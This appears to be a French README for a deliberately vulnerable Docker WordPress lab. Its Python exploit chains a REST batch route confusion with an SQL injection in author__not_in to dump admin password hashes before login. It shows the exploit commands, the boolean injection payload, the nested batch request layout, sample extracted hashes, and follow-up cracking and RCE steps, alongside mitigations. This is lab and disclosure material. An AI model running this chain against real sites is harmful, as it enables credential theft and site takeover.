
Lab WordPress vulnérable basé sur Docker avec un exploit Python démontrant une confusion de route pré-authentification et une chaîne d'injection SQL (CVE-2026-63030 + CVE-2026-60137) pour l'extraction d'identifiants et RCE.
Environnement Docker intentionnellement vulnérable avec WordPress Core 7.0.1 et un exploit en Python qui démontre la chaîne pré-authentification wp2shell :
| CVE | Composant | Description |
|---|---|---|
| CVE-2026-63030 | API REST /wp-json/batch/v1 | Route confusion : désynchronisation entre validation et dispatch des sous-requêtes |
| CVE-2026-60137 | WP_Query (author__not_in) | Injection SQL lorsque la valeur est une chaîne au lieu d'un tableau |
Enchaînées, elles permettent à un attaquant sans aucune information d'identification d'exécuter du SQL arbitraire (et, dans la séquence complète, d'arriver à RCE). Corrigé dans WordPress 6.9.5 et 7.0.2. Versions affectées par la chaîne RCE : 6.9.0–6.9.4 et 7.0.0–7.0.1.
⚠️ Avertissement : environnement intentionnellement non sécurisé. Utilisez uniquement localement, isolé. Ne l'exposez jamais sur Internet. L'exploit ne doit être utilisé que contre ce laboratoire (ou des systèmes pour lesquels vous avez une autorisation explicite).
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
Cela crée :
admin / SuperSecret123!victim / Victim_P@ss_2026 (deuxième admin, cible de l'extraction de hash)get_items() retourne des lignes)Confirmez la version vulnérable :
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Sortie (résumée) :
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Autres options :
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
L'exploit n'utilise que la bibliothèque standard de Python 3 (aucune dépendance).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
Les hashes doivent être identiques à ceux extraits par l'exploit (qui n'a jamais eu accès à la base de données).
serve_batch_request_v1)Dans wp-includes/rest-api/class-wp-rest-server.php, le handler du batch utilise deux tableaux parallèles : $matches (route/handler correspondants) et $validation (résultat de la validation) :
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entre SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
Dans le dispatch, le handler est lu par index dans $matches[$i], tandis que $single_request et $validation[$i] suivent l'index complet de $requests. Un primer qui échoue au parse ("///") décale tout dans $matches d'une position — alors une sous-requête est exécutée sous le handler d'une autre.
Le schéma du batch n'accepte que les méthodes POST/PUT/PATCH/DELETE (GET est rejeté avec rest_not_in_enum). L'exploit contourne cela avec batch dans batch :
BATCH EXTERNE (méthodes valides) :
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNE),
POST /batch/v1 ]
carrier est validé comme create_item des articles (passe : allow_batch=true, sans paramètres obligatoires). Comme il n'est pas validé en tant que batch, son body échappe à la validation de l'énumération des méthodes.carrier est dispatché sous le handler /batch/v1 (volé à la 3e sous-requête) → serve_batch_request_v1 traite le body brut, avec des sous-requêtes GET.BATCH INTERNE :
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
Nouveau désync interne → la requête GET /wp/v2/users (chargeant author_exclude non assaini) est exécutée sous posts get_items(). Là :
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
Et dans WP_Query (class-wp-query.php), le code vulnérable :
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
Payload booléen utilisé : 0) AND (<condition>)-- -, transformant le WHERE en oracle (liste avec articles = vrai ; liste vide = faux). Extraction caractère par caractère par recherche binaire.
Note : le chemin est atteignable lorsqu'il n'y a pas de cache d'objet persistant (par défaut dans le lab), comme décrit dans l'avis.
Ce laboratoire valide la partie pré-authentification (route confusion → SQLi → fuite de hashes), qui est le cœur de la chaîne. La séquence complète de l'avis continue avec :
$wp$2y$... (bcrypt) offline — hashcat -m 3200./wp-admin avec le mot de passe récupéré.author__not_in à des entiers (wp_parse_id_list) même lorsqu'il s'agit d'une chaîne ;/wp-json/batch/v1, désactiver l'API REST non authentifiée, surveiller les requêtes avec author_exclude contenant du SQL.docker compose down -v # remove containers + volumes (dados)